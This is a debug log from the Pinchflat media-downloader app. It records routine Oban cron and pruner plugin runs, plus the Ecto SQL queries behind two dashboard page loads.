[info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:20.300 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:50.302 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.259 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:20.304 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:50.307 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.260 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:20.308 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:50.311 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.260 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:20.312 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:33.218 [info] GET / 14:47:33.218 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:47:33.219 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1475.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:47:33.219 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1475.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:47:33.219 [debug] QUERY OK source="sources" db=0.0ms idle=1475.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:47:33.220 [debug] QUERY OK source="media_items" db=0.1ms idle=1475.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:47:33.220 [debug] QUERY OK source="media_items" db=0.0ms idle=981.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:47:33.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:47:33.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:47:33.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:47:33.221 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:47:33.221 [debug] QUERY OK source="sources" db=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 14:47:33.222 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:47:33.222 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:47:33.223 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 14:47:33.224 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:47:33.225 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:47:33.225 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 14:47:33.226 [info] Sent 200 in 8ms 14:47:50.314 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.262 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:20.316 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:50.318 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.263 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:20.320 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:50.322 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.264 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:20.324 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:50.326 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.265 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:20.328 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:50.329 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.266 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:20.331 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:50.333 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.267 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:20.335 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:50.336 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.268 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:20.338 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:46.518 [info] GET / 14:54:46.518 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:54:46.519 [debug] QUERY OK source="settings" db=0.5ms idle=773.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:54:46.519 [debug] QUERY OK source="media_profiles" db=0.1ms idle=774.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:54:46.519 [debug] QUERY OK source="sources" db=0.1ms idle=774.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:54:46.520 [debug] QUERY OK source="media_items" db=0.2ms idle=774.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:54:46.520 [debug] QUERY OK source="media_items" db=0.1ms idle=512.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:54:46.520 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:54:46.520 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:54:46.521 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:54:46.521 [debug] QUERY OK source="tasks" db=0.1ms idle=1.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:54:46.522 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 14:54:46.522 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:54:46.523 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:54:46.523 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 14:54:46.524 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:54:46.525 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:54:46.525 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 14:54:46.526 [info] Sent 200 in 8ms 14:54:50.340 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.269 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:20.342 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:50.343 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.270 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:20.345 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:50.347 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.271 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:20.349 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:50.351 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.272 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:20.353 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:50.355 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.273 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:20.356 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:50.357 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.274 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:20.358 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:50.359 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.275 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:20.360 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:50.361 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.276 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:20.362 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:50.363 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.276 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:20.364 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:50.365 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.278 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:20.366 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:50.367 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.279 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:20.368 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:50.370 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.280 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:20.371 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:50.372 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.281 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:20.373 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:50.374 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.282 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:20.375 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:50.376 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.283 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:20.377 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:50.378 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.284 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:20.379 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:50.380 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.285 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:20.381 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:50.382 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.286 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:20.383 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:50.384 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.287 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:20.385 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:50.386 [info] 